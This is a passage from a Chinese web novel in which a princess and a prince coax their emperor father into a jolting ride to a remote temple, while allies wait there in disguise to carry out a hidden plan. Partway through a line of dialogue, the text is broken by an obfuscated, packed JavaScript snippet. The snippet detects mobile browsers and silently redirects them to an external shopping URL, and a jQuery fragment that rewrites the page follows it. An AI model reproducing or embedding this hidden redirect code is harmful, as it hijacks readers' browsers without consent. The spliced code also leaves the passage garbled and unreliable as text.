只是元明皇却有些犹豫不决,他略微沉吟,眼睛在眼前的女儿和儿子面前扫视了一眼之后才说道:“这种不知名的小庙,又不知道底细如何,怎么能随意去。”
可没想到的是,宁安公主竟然一改常态,跑到了他的身边,牵起他的衣袖来对他撒娇:
“父皇,那你跟我一起去看看,帮我看一下那小庙能佛适用,又能否担当的起超度皇祖母的重担,父皇!”
宁安公主一边说着,一边晃动着元明皇的衣袖,那一晃一晃下,晃得元明皇有些发愣。
可即使如此,元明皇却像是铁了心一样,丝毫不做松口,他有些疑虑,有些犹豫,是否要批准自家的女儿去那样一个未名之地。
扪心自问,元明皇或许不是一个好人,但他却从来都没有过想要害自己儿女们的心。
“宁安,你不要无理取闹,我这边还有许多君国大事的奏章要批改,哪能随意就跟你去那所谓的灵寺。”
他摆了摆手,将宁安公主拽着自己的衣袖扯了下来。
宁安公主感受到手上牵制的衣袖在骤然之间失去了触摸,愣神了片刻,但只一瞬间,她便又恢复如常:
“父皇,奏折可以晚一点再批嘛,但是尽孝却不是每次都可以的,如果这寺庙真的灵验,您也可以在那庙中进一柱香来尽尽您的孝心,也不亏了皇祖母的在天之灵保佑我南朝永享万代,千秋万世啊。”
“这……”这样大的一顶帽子扣了过来再加上孝心,元明皇的心明显有些动摇。
见即如此,云暨立马便添油加醋的帮腔起来:“是啊父皇,您跟五妹妹一起去烧香拜佛,也是进了佛运,您这一段时间劳心劳苦,殚精竭虑,一日未曾歇过,不过是一次休纵无伤大雅,况且台阁里的三公,日日在偏殿旁那也不是吃闲饭的,偶一为之,既让您松了片刻,又不会误了这君国大事何乐不为呢?”
……
于是就这般,元明皇在宁安公主和三皇子甜言蜜语的你一句,我一句的两下夹击下逐渐的无可奈何,答应了她们。
“父皇,您还记得上次醉仙楼的舞姬嘛,听说又新来了几个,个个貌美如花,舞姿动人,我们可以在去完寺庙之后……”
更衣换服后,见元明皇似乎是仍然有些心有不悦,宁安公主立刻出言安慰,她知晓,她和云暨的裹挟,虽然一时有用,但等到真的见了那寺庙的真实样貌,不管事情成不成行,也定然会因为心有不悦而随意牵制,不如稍微许之以利,这之后出门这段时日也不会因为此事收到牵连,能瞒一时是一时吧。
果然在宁安公主说完这句话之后,元明皇那原本有些不悦的眼睛蹬时间便亮了起来,他的眼睛嘻笑燕燕,似乎是又一次想起了上次那欲拒还迎他那个舞姬的身姿来。
于是,三人不再纠结,立刻便出宫而去。
由于此前的铺垫耽搁了不少的时间,所以几人出门之后,宁安公主和三皇子几乎是发了疯一般催促着那马车夫,往城西寂照寺的方向奔驰。
元明皇原本以为此次出门是来放松心情的,他原本想好出宫之后要好好的看看这婺城大街小巷的风土人情,上次因为那回雁村的土地之事扰了他出门游玩的心,这次他说什么都要找补回来。
可谁知出来之后,所有的一切都没有按他的预料进行,那马车驱使如急速奔逃,有好几次元明皇的头和身子都撞在了那马车的四壁之上,撞得他浑身疼痛。
有好几次,他都企图让那狂奔不已的马车快快停下,想要下车去缓上一缓,可每每说出这话来之后,便立刻被三皇子和宁安公主两人给搪塞了过去。
就这样,忍受着颠簸和风驰电掣,她们紧赶慢赶的这才赶到了那寂照寺的山门之下。
停了车,歇了马,整个马车都变的安静了下来。
此时的元明皇已然脸色苍白,颤抖不已,他的双眼发直,有一种感觉现在的眼前并不是真实的错觉。
身体是因为恐惧和害怕而产生的痉挛,那不停抖动和制止不助的轻颤,在强忍的身形下无论如何也冷静不下来半分,甚至还有着随心跳的轰鸣而愈演愈烈的地步。
那马车已然将他颠簸的如同散架,一经动弹似乎下一秒就能听到自己骨头连带着血肉分离破碎的声音。
只是宁安公主和三皇子似乎并没有太过的在乎他的这一变化,既然来到了这山门前,就说明前面的九十九拜都已然拜完,后面就等着这最后的一哆嗦了,所以她们并不敢懈怠。
“父皇,地方到了。”
三皇子掀着围帘,替元明皇引着这出路。
可元明皇在听到他说的时候,只是慢慢的抬头看了他一眼,这眼中充满了迷茫,似乎是有些不理解眼前的人在说些什么。
宁安公主似乎也没有见他神情不对,只能也继续出手:“父皇,儿臣扶您下来。”
一双冰冷而坚定的手握到了元明皇的手上,而紧接着一股硝石的刺激气味也随着宁安公主的牵动,慢慢的出现在了他的鼻腔之中。
这呛鼻的味道一经吸入,便让元明皇原本有些迷蒙的双眼清明了不少。
他眨了眨那有些浑浊的眼球,抬眼之后这才发现外面站着的人似乎是自己的女儿和儿子,而自己的其中一只手正在被宁安公主攥在手中。
“父皇,地方到了。”三皇子再次催促。
而这次元明皇听见了。
紧接着,云暨也伸出了一只骨节分明的大手,不容分说的也握住了元明皇的另一只手,他和宁安公主两下用力,将元明皇拉离出了原地。
就这样,元明皇在两股力量拉扯之下,慢慢的离开了那沾坐的地方。
被搀扶着下到地面落地的瞬间,他的腿已经打颤到站立不稳,如果没有人的搀扶,似乎下一秒他便会彻底地跌落下去。
可似乎是终于晃过了神来,他的深思已然清明了不少,此刻惟恐自己跪地的样子损了自己的颜面,只能强忍着那颤栗的身躯,慢慢的盘伏起身,硬挺挺的站立在那里。
见着人已站定,三皇子和宁安公主便不再关心与他,而是看着这周围的一切,眼中放着无以言说的精光。
“父皇,您看这周边绿树环绕,苍绿翠柏,环境绝佳,寺庙建在这样一个清秀之地,自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488198|202111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然是一个绝佳的修养之所。”
三皇子开始假意给元明皇介绍起这周围的绿意翠染,嘴上虽然说的轻松,但心中却已然急躁不已。
现在的他,恨不得拽着元天皇飞到那山门庙的后面去,但又因为不能暴露今日这所来的真实意图,又只能强装镇定地假模假样。
“三哥说的极是,这寺庙所在的山地果然空谷幽境,是个悠闲悠哉的绝佳场所,只是不知这庙里又是否跟它所在这环境一般清灵俊秀呢?”
宁安公主实时的接口夸在他的话后。
三皇子听她这么一说,嘴角微翘,他没想到自己的这个五妹妹今日怎么如此的上道,自己想要什么,她便接在后面,仿佛像是自己肚子里的蛔虫一般。
“五妹妹若是不信,不如和父皇一起和我一同上去,我们也好就近探查一下这寺庙的空谷幽兰,看看这庙中的佛教众徒是否真的如他们那些传言一般,超脱凡尘,信受奉行,稽颡膜拜。”
宁安公主听后点头应允,转脸便看向了元明皇,让他来做这最后的决定。
此刻的元明皇已经从颠簸中缓和了出来,但听到要上山,看着眼前盘桓不已的山梯,那刚刚镇静下来的腿肚子又开始打起转来,但他还是深吸了一口气,强忍住了自己有些害怕的心神,对着她们开口说道:
“难得你们有如此的孝心,若是皇母亲所处极乐,定然心中宽慰不已,既然暨儿和铮儿都想要上山观望一番,那我这个做父皇的若是不同意岂不是拂了大家的兴致。”
于是,一行人就这样各怀鬼胎的往那山垣之上爬去。
再说的张思这边。
同上次一般如法炮制,她们先是在山门之下灌晕了那秋华楼的马车夫,趁着周围无人之时将人换了上去。
但因为要牵扯着宁安公主她们这边的时间进度,于是众人在替换完了赝品小倌之后,还在路上停留了不少时日,只为了能准确无误的推行这身后的计划。
而直到宁安公主几人的马车靠近之时,他们这才唤醒了那马车夫,按着原计划往山门的后路走去。
而郭幼帧和张砚以及晓月三人却早已在庙中等候多时了。
今日的张砚带了一副人皮面具,与当时回春堂的中年掌柜模样不同,今日的他却是个样子周正的青年之人。
而郭幼帧则是带了一个帷幔,帷幔浅绿轻薄,它的遮挡让汩汩的香烟飘来,只能轻微的闻到这无形的味道,却不厚重的让人呼吸滞销。
像是寻常信众一样,三个人面色虔诚的在菩萨面前参拜着。
只是与寻常人不同,他们的祭拜是从小庙到大庙,三步一鞠躬,五步一燃香,在这不大不小的庙宇里,环环绕绕,曲曲折折,最后才跨进了那最大供奉佛祖的佛堂之中。
今日人多,也算是他们的特意安排。
虽说人多或许没有任何实用,因为多少人都不可能走到那山上的另一个庙堂之中,但这确实是很有用的心里战术。
如果元明皇等会真的发现了四皇子的秘密,他一想到这山下摩肩擦踵的众人,一时间便会心乱如麻,无法言说。